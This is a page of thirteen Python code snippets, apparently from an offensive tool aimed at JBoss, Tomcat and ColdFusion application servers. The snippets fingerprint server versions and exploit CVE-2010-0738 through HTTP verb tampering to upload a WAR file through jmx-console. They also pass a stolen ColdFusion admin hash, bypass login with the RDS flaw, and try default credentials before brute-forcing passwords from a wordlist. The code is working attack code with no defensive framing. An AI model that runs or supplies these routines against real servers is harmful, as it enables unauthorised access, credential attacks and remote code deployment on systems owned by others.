Beispiel #1
0
    def run(self):
        """ Kicks off the fingerprint engine
        """

        utility.Msg("Fingerprinting host '%s'" % self.options.ip, LOG.UPDATE)
        state.hasbf = False

        if self.options.remote_service:
            if self.options.remote_service.lower() not in \
                                           state.supported_platforms:
                utility.Msg(
                    "Service '%s' unknown or not supported." %
                    self.options.remote_service, LOG.ERROR)
                return False

            self.service = self.options.remote_service
            utility.Msg("Server hinted at '%s'" % self.options.remote_service)

        # if a service was hinted at, load and test it
        if self.service:
            self.fingerprints = self.check_service(self.service)
        else:
            # load one after the other, stop once we find a match
            for service in state.supported_platforms:

                state.hasbf = False
                matched_fps = self.check_service(service)

                if len(matched_fps) > 0:
                    self.service = service
                    self.fingerprints = matched_fps
                    break
Beispiel #2
0
    def run(self, fingerengine, fingerprint):
        """ This module exploits CVE-2010-0738, which bypasses authentication
        by submitting requests with different HTTP verbs, such as HEAD. 
        """

        utility.Msg(
            "Deploying %s via verb tampering" % fingerengine.options.ip,
            LOG.DEBUG)

        url = "http://{0}:{1}".format(fingerengine.options.ip,
                                      fingerprint.port)

        response = utility.requests_head(url)
        if response.status_code == 200:
            utility.Msg(
                "Vulnerable to verb tampering, attempting to deploy...",
                LOG.SUCCESS)

            war_file = abspath(fingerengine.options.verb_tamper)
            war_name = parse_war_path(war_file)
            tamper = "/jmx-console/HtmlAdaptor?action=invokeOp"\
                     "&name=jboss.admin:service=DeploymentFileRepository&methodIndex=5"\
                     "&arg0={0}.war&arg1={0}&arg2=.jsp&arg3={1}&arg4=True".format(
                              war_name, quote_plus(open(war_file).read()))

            response = utility.requests_head(url + tamper)
            if response.status_code == 200:
                utility.Msg("Successfully deployed {0}".format(war_file),
                            LOG.SUCCESS)
            else:
                utility.Msg(
                    "Failed to deploy (HTTP %d)" % response.status_code,
                    LOG.ERROR)
Beispiel #3
0
    def definitions(self, ip, port, service):
        """ Load and fingerprint the remote system.
        """

        fpath = [abspath("./src/platform/%s/fingerprints" % service)]

        match_fps = []
        fingerprints = list(pkgutil.iter_modules(fpath))
        for fingerprint in fingerprints:
            fp = fingerprint[0].find_module(fingerprint[1]).load_module(
                fingerprint[1])
            fp = fp.FPrint()

            if self.options.version:
                # we're looking for a specific version
                if fp.version != "Any" and self.options.version not in fp.version:
                    continue

            utility.Msg("Checking %s version %s %s..." %
                        (fp.platform, fp.version, fp.title))

            try:
                if fp.check(ip, port):

                    # set fingerprint port to match fingerengine port if defined
                    if vars(self.options)['port']:
                        fp.port = self.options.port
                    match_fps.append(fp)
            except Exception as e:
                utility.Msg("Exception with fingerprint: %s" % e, LOG.DEBUG)

            if self.options.delay:
                sleep(int(self.options.delay))

        return match_fps
Beispiel #4
0
    def check_error(self, ip, port):
        """
        """

        try:
            fpath = ''.join(
                random.choice(string.ascii_lowercase) for x in range(4))
            url = "http://{0}:{1}/{2}".format(ip, port, fpath)

            response = utility.requests_get(url)
            if response.status_code == 404:

                data = findall("<h3>(.*?)</h3>", response.content)
                if len(data) > 0 and self.version in data[0]:
                    return True

            else:
                utility.Msg("/%s returned unexpected HTTP code (%d)" %\
                                (fpath, response.status_code), LOG.DEBUG)

        except exceptions.Timeout:
            utility.Msg(
                "{0} timeout to {1}:{2}".format(self.platform, ip, port),
                LOG.DEBUG)
        except exceptions.ConnectionError:
            utility.Msg(
                "{0} connection error to {1}:{2}".format(
                    self.platform, ip, port), LOG.DEBUG)

        return False
Beispiel #5
0
    def check(self, ip, port=None):
        """
        """

        try:
            rport = self.port if port is None else port
            url = "http://{0}:{1}{2}".format(ip, rport, self.uri)

            response = utility.requests_get(url)
            found = findall("Apache Tomcat Version (.*?)\n", response.content)

            if len(found) > 0 and self.version in found[0]:
                return True
            else:
                return self.check_error(ip, rport)

        except exceptions.Timeout:
            utility.Msg(
                "{0} timeout to {1}:{2}".format(self.platform, ip, rport),
                LOG.DEBUG)
        except exceptions.ConnectionError:
            utility.Msg(
                "{0} connection error to {1}:{2}".format(
                    self.platform, ip, rport), LOG.DEBUG)

        return False
Beispiel #6
0
def attemptPTH(url, usr_auth):
    """ In vulnerable instances of CF7-9, you can use --cf-hash to obtain
    the remote server's hash and pass it.            
    """

    utility.Msg("Attempting to pass the hash..", LOG.DEBUG)

    usr = None
    pwhsh = None
    if ':' in usr_auth:
        (usr, pwhsh) = usr_auth.split(':')
    else:
        (usr, pwhsh) = "admin", usr_auth

    salt = _salt(url)
    hsh = hmac.new(salt, pwhsh, sha1).hexdigest().upper()
    data = {
        "cfadminPassword": hsh,
        "requestedURL": "/CFIDE/administrator/enter.cfm?",
        "cfadminUserId": usr,
        "salt": salt,
        "submit": "Login"
    }

    try:
        res = utility.requests_post(url, data=data)
        if res.status_code == 200 and len(res.history) > 0:
            utility.Msg("Sucessfully passed the hash", LOG.DEBUG)
            return (dict_from_cookiejar(res.history[0].cookies), None)

    except Exception as e:
        utility.Msg("Error authenticating: %s" % e, LOG.ERROR)
Beispiel #7
0
def _auth(usr, pswd, url, version):
    """ Authenticate to the remote ColdFusion server; bit of a pain 
    """

    if version in ['5.0']:
        data = {
            'PasswordProvided_required': 'You+must+provide+a+password.',
            'PasswordProvided': pswd,
            'Submit': 'Password'
        }

    elif version in ['6.0', '6.1']:
        data = {
            'cfadminPassword': pswd,
            'requestedURL': '/CFIDE/administrator/index.cfm',
            'submit': 'Login'
        }

    elif version in ['7.0', '8.0', '9.0']:
        salt = _salt(url)
        hsh = hmac.new(salt,
                       sha1(pswd).hexdigest().upper(),
                       sha1).hexdigest().upper()
        data = {
            "cfadminPassword": hsh,
            "requestedURL": "/CFIDE/administrator/enter.cfm?",
            "cfadminUserId": usr,
            "salt": salt,
            "submit": "Login"
        }

    elif version in ['10.0', '11.0']:

        hsh = sha1(pswd).hexdigest().upper()
        data = {
            'cfadminPassword': hsh,
            'requestedURL': '/CFIDE/administrator/enter.cfm?',
            'cfadminUserId': usr,
            'submit': 'Login'
        }

    try:
        res = utility.requests_post(url, data=data)
        if res.status_code == 200:

            utility.Msg("Successfully authenticated with %s:%s" % (usr, pswd),
                        LOG.DEBUG)
            if version in ['5.0']:
                return (dict_from_cookiejar(res.cookies), None)
            elif len(res.history) > 0:
                return (dict_from_cookiejar(res.history[0].cookies), None)

    except Exception as e:
        utility.Msg("Error authenticating: %s" % e, LOG.ERROR)
        return (None, None)
Beispiel #8
0
    def check_service(self, service):
        """ Given a service, this will initiate our fingerprinting engine against
        the remote host and return a list of all matched fingerprints.  Successful
        fingerprints will also be dumped to console.
        """

        utility.Msg("Loading fingerprint engine '%s'" % service, LOG.DEBUG)

        matched_fingerprints = self.definitions(self.options.ip,
                                                self.options.port, service)
        if len(matched_fingerprints) > 0:
            utility.Msg("Matched %d fingerprints for service %s" %
                        (len(matched_fingerprints), service))

            for fp in matched_fingerprints:
                utility.Msg("\t%s (version %s)" % (fp.title, fp.version),
                            LOG.SUCCESS)
        else:
            utility.Msg("No fingerprints found for service %s" % service)

        return matched_fingerprints
Beispiel #9
0
    def check(self, ip, port=None):
        """
        """

        try:
            rport = self.port if port is None else port
            url = "http://{0}:{1}{2}".format(ip, rport, self.uri)

            response = utility.requests_get(url)
            if response.status_code == 401:
                utility.Msg(
                    "Host %s:%s requires auth for manager, checking.." %
                    (ip, rport), LOG.DEBUG)

                cookies = authenticate.checkAuth(ip, rport, self.title,
                                                 self.version)
                if cookies:
                    response = utility.requests_get(url,
                                                    cookies=cookies[0],
                                                    auth=cookies[1])
                else:
                    utility.Msg("Could not get auth for %s:%s" % (ip, rport),
                                LOG.ERROR)

            if response.status_code == 200:
                found = findall("Apache Tomcat/(.*)<", response.content)
                if len(found) > 0 and self.version in found[0]:
                    return True

        except exceptions.Timeout:
            utility.Msg(
                "{0} timeout to {1}:{2}".format(self.platform, ip, rport),
                LOG.DEBUG)
        except exceptions.ConnectionError:
            utility.Msg(
                "{0} connection error to {1}:{2}".format(
                    self.platform, ip, rport), LOG.DEBUG)

        return False
Beispiel #10
0
    def check(self, ip, port=None):
        """ The version string for the web-console is pretty easy to parse out.
        """

        try:
            rport = self.port if port is None else port
            url = "http://{0}:{1}{2}".format(ip, rport, self.uri)

            response = utility.requests_get(url)
            if response.status_code == 401:
                utility.Msg(
                    "Host %s:%s requires auth for /web-console, checking.." %
                    (ip, rport), LOG.DEBUG)

                cookies = authenticate.checkAuth(ip, rport, self.title,
                                                 self.version)
                if cookies:
                    response = utility.requests_get(url,
                                                    cookies=cookies[0],
                                                    auth=cookies[1])
                else:
                    utility.Msg("Could not get auth for %s:%s" % (ip, rport),
                                LOG.ERROR)
                    return False

            if "Version: </b>{0}".format(self.version) in response.content:
                return True

        except exceptions.Timeout:
            utility.Msg(
                "{0} timeout to {1}:{2}".format(self.platform, ip, rport),
                LOG.DEBUG)
        except exceptions.ConnectionError:
            utility.Msg(
                "{0} connection error to {1}:{2}".format(
                    self.platform, ip, rport), LOG.DEBUG)

        return False
Beispiel #11
0
def attemptRDS(ip, port):
    """ If version 9.x is found, we attempt to bypass authentication using
    the RDS vulnerability (CVS-2013-0632)            
    """

    utility.Msg("Attempting RDS bypass...", LOG.DEBUG)
    url = "http://{0}:{1}".format(ip, port)
    uri = "/CFIDE/adminapi/administrator.cfc?method=login"
    data = {"adminpassword": '', "rdsPasswordAllowed": 1}

    response = utility.requests_post(url + uri, data)
    if response.status_code == 200 and "true" in response.content:
        return (dict_from_cookiejar(response.cookies), None)
    else:
        # try it with rdsPasswordAllowed = 0
        data['rdsPasswordAllowed'] = 0
        response = utility.requests_post(url + uri, data)
        if response.status_code == 200 and "true" in response.content:
            return (dict_from_cookiejar(response.cookies), None)
Beispiel #12
0
    def check(self, ip, port=None):
        """ Because the version strings are different across a couple
        different versions, we parse it a little bit different.  Pre-5.x versions
        are simple, as we match a pattern, whereas post-5.x versions require us
        to parse an HTML table for our value.
        """

        re_match = False
        rport = self.port if port is None else port
        url = "http://{0}:{1}{2}".format(ip, rport, self.uri)

        try:

            request = utility.requests_get(url)

            # go check auth
            if request.status_code == 401:
                utility.Msg(
                    "Host %s:%s requires auth for JMX, checking..." %
                    (ip, rport), LOG.DEBUG)
                cookies = authenticate.checkAuth(ip, rport, self.title,
                                                 self.version)
                if cookies:
                    request = utility.requests_get(url,
                                                   cookies=cookies[0],
                                                   auth=cookies[1])
                else:
                    utility.Msg("Could not get auth for %s:%s" % (ip, rport),
                                LOG.ERROR)
                    return False

            if request.status_code != 200:
                return False

            if self.version in ["3.0", "3.2"]:
                match = search("{0}.(.*?)\(".format(self.version),
                               request.content)

                if match and len(match.groups()) > 0:
                    re_match = True

            elif self.version in ["4.0", "4.2"]:
                match = search("{0}.(.*?)GA".format(self.version),
                               request.content)

                if match and len(match.groups()) > 0:
                    re_match = True

            elif self.version in ["5.0", "5.1", "6.0", "6.1"]:
                parser = TableParser()
                parser.feed(request.content)

                if parser.data and self.version in parser.data:
                    re_match = True

            return re_match

        except exceptions.Timeout:
            utility.Msg(
                "{0} timeout to {1}:{2}".format(self.platform, ip, rport),
                LOG.DEBUG)
        except exceptions.ConnectionError:
            utility.Msg(
                "{0} connection error to {1}:{2}".format(
                    self.platform, ip, rport), LOG.DEBUG)
        return re_match
Beispiel #13
0
def checkAuth(ip, port, title, version):
    """
    """

    url = "http://{0}:{1}/CFIDE/administrator/enter.cfm".format(ip, port)
    if version in ['5.0']:
        url = 'http://{0}:{1}/CFIDE/administrator/index.cfm'.format(ip, port)

    # check with given auth
    if state.usr_auth:
        if version in ['7.0', '8.0', '9.0'] and len(state.usr_auth) >= 40:
            # try pth
            cook = attemptPTH(url, state.usr_auth)
            if cook:
                return cook

        if ':' in state.usr_auth:
            (usr, pswd) = state.usr_auth.split(':')
        else:
            (usr, pswd) = "admin", state.usr_auth
        return _auth(usr, pswd, url, version)

    # else try default creds
    for (usr, pswd) in default_credentials:
        cook = _auth(usr, pswd, url, version)
        if cook:
            return cook

    # if we're 9.x, we can use the RDS bypass
    if version in ["9.0"]:
        cook = attemptRDS(ip, port)
        if cook:
            return cook

    # if we're still here, check if they supplied a wordlist
    if state.bf_wordlist and not state.hasbf:

        state.hasbf = True
        wordlist = []
        try:
            with open(state.bf_wordlist, 'r') as f:
                # ensure everything is ascii or requests will explode
                wordlist = [
                    x.decode('ascii', 'ignore').rstrip()
                    for x in f.readlines()
                ]
        except Exception as e:
            utility.Msg("Failed to read wordlist (%s)" % e, LOG.ERROR)
            return

        utility.Msg(
            "Brute forcing account %s with %d passwords..." %
            (state.bf_user, len(wordlist)), LOG.DEBUG)

        try:

            for (idx, word) in enumerate(wordlist):
                stdout.flush()
                stdout.write("\r\033[32m [%s] Brute forcing password for %s [%d/%d]\033[0m"\
                                % (utility.timestamp(), state.bf_user, idx+1,
                                   len(wordlist)))

                cook = _auth(state.bf_user, word, url, version)
                if cook:
                    print('')  # newline

                    if not (state.bf_user, word) in default_credentials:
                        default_credentials.insert(0, (state.bf_user, word))

                    utility.Msg(
                        "Successful login %s:%s" % (state.bf_user, word),
                        LOG.SUCCESS)
                    return cook

            print('')

        except KeyboardInterrupt:
            pass